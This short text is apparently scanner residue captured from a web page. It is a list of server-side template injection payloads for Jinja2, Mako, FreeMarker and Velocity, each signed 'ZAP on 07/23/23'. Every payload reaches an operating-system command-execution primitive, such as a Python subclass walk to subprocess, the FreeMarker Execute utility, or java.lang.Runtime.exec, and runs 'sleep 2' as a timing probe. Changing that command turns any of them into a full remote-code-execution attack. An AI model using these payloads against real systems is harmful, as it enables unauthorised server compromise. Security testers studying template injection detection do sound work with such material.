{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 2")}}

- ZAP on 07/23/23

${__import__("subprocess").check_output("sleep 2", shell=True)}

- ZAP on 07/23/23

- ZAP on 07/23/23

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 2") }

- ZAP on 07/23/23

#set($engine="")
#set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 2"))
#set($null=$proc.waitFor())
${null}

- ZAP on 07/23/23

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